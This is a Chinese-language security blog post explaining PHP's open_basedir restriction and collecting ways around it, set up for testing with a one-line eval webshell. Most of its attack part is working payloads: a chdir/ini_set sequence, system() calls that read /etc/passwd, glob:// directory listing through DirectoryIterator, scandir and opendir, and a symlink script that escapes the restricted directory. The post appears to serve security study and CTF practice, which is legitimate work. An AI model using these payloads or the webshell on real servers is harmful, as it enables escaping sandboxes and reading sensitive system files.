open_basedir一些绕过姿势


open_basedir简介

  • 将php所能打开的文件限制在指定的目录树中,包括文件本身。这个指令是不是由安全模式打开或者关闭的影响

  • 当程序要使用例如include()、fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。

  • 所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。如果文件不存在,则无法解析符号链接,并且将文件名与(已解析的)open_basedir进行比较

  • open_basedir指定的限制是目录名,而不是前缀(官方说法);实际上,如果开发者设置open_basedir/var/www/html/yq1ng,没有最后一个斜线结束的话限制的为前缀而不是目录,例如,访问者可以访问yq1ng里面的文件,也能访问yq1ngxxx里面的文件;设置为/var/www/html/yq1ng/则是限制到yq1ng目录

  • 影响范围:open_basedir不仅会影响文件系统功能;还可能会影响文件系统功能。例如,如果MySQL配置为使用mysqlnd驱动程序, LOAD DATA INFILE则会受到open_basedir的影响。PHP的许多扩展功能都open_basedir以这种方式使用

  • 注意:使用open_basedir会将realpath_cache_size设置 为0,从而禁用realpath缓存。这样会降低php处理速度

    特殊值. 表示脚本的工作目录将用作基本目录。但是,这有点危险,因为可以使用chdir()轻松更改脚本的工作目录

    在Windows下,用分号分隔目录。在所有其他系统上,请用冒号分隔目录。作为Apache模块,父目录的open_basedir路径现在会自动继承

    连续使用open_basedir并不会覆盖

测试环境

docker:docker pull php:7.4.9-apache-buster

php.ini:open_basedir = '/var/www/html/'

一句话脚本:<?php eval($_GET['shell']);?>

<?php
    //测试脚本,和上面一样的效果,这样测试更容易切换
    ini_set('open_basedir','/var/www/html/');
    error_reporting(0);
    highlight_file(__FILE__);
    eval($_GET['shell']);

验证:?shell=var_dump(scandir('./'));

image-20210324155813831

?shell=var_dump(scandir('../'));

image-20210324155854116

chdir()

手册说chdir()是个危险的函数,然后@edgarboda推特发布了一个poc

image-20210324165957031

payload:mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');

image-20210324165918666

底层解析:从PHP底层看open_basedir bypass

系统函数绕过

这种很鸡肋吧,一般都会有disable_function

pl:system('cd /;cat /etc/passwd;'); or system('cat ../../../../../etc/passwd');

image-20210324170257114

glob://协议

简介

  • glob:// — 查找匹配的文件路径模式
  • 数据流包装器自 PHP 5.3.0 起开始有效
  • 封装协议摘要
属性 支持
受限于 allow_url_fopen No
受限于 allow_url_include No
允许读取 No
允许写入 No
允许附加 No
允许同时读写 No
支持 stat() No
支持 unlink() No
支持 rename() No
支持 mkdir() No
支持 rmdir() No

可以看到其并不受限于open_basedir

  • 示例

    <?php
    // 循环 ext/spl/examples/ 目录里所有 *.php 文件
    // 并打印文件名和文件尺寸
    $it = new DirectoryIterator("glob://ext/spl/examples/*.php");
    foreach($it as $f) {
        printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
    }
    ?>

单纯使用此协议并不能列目录。不过使用此协议只能列目录(且只能列举根目录下的文件和限制目录下的文件),并不能读写文件≧ ﹏ ≦

DirectoryIterator+glob://

这个是老朋友了,php5的新增类,DirectoryIterator类提供了一个查看文件系统目录内容的简单接口

pl:$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}

image-20210324171439341

scandir()+glob://

pl: var_dump(scandir('glob:///*')); 函数如果没有ban掉这个方法简单易用

image-20210324171936725

opendir()+readdir()+glob://

pl: if($b=opendir('glob:///*')){while (($file = readdir($b)) !== false){echo $file." ";}closedir($b);}

image-20210324172344946

symlink()函数

简介

  • symlink — 建立符号连接(php4开始启用)

  • symlink ( string $target , string $link ) : bool

  • 一般受限于open_basedir

image-20210324174151803

简单poc

<?php
    mkdir("a");
    chdir("a");
    mkdir("b");
    chdir("b");
    mkdir("c");
    chdir("c");
    mkdir("d");
    chdir("d");//创建并进入到/var/www/html/a/b/c/d目录下
    chdir("..");
    chdir("..");
    chdir("..");
    chdir("..");//返回/var/www/html
    symlink("a/b/c/d","yq1ng");//创建连接符 yq1ng -> a/b/c/d
    symlink("yq1ng/../../../../etc/passwd","exp");// exp -> a/b/c/d/../../../../etc/passwd (a/b/c/d/../../../../ -> /var/www/html/在限制内,所以成功创建)
    unlink("yq1ng");// 删除连接
    mkdir("yq1ng");// 创建文件夹
    system('cat exp');//此时 exp -> yq1ng/../../../../etc/passwd

image-20210324174903206

参考p神文章

参考链接

PHP手册:php.ini核心配置

php文件包含目录配置open_basedir的使用与性能分析

open_basedir绕过


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
黄淮学院自动化健康打卡 黄淮学院自动化健康打卡
教程手机真机抓包较为简单,配置直接看这个教程:https://juejin.cn/post/6976686129672257550fiddler加一个过滤器,不然包太多不好看然后真机开始打卡,点进去健康打卡先别点提交,fiddler上点左下
2021-03-27 yq1ng
下一篇 
Nep2021欢乐个人赛 Nep2021欢乐个人赛
我太比较菜了,只出了3web,不过还是学到很多,感谢nep。 99-196 | 排名-分数
2021-03-20
  目录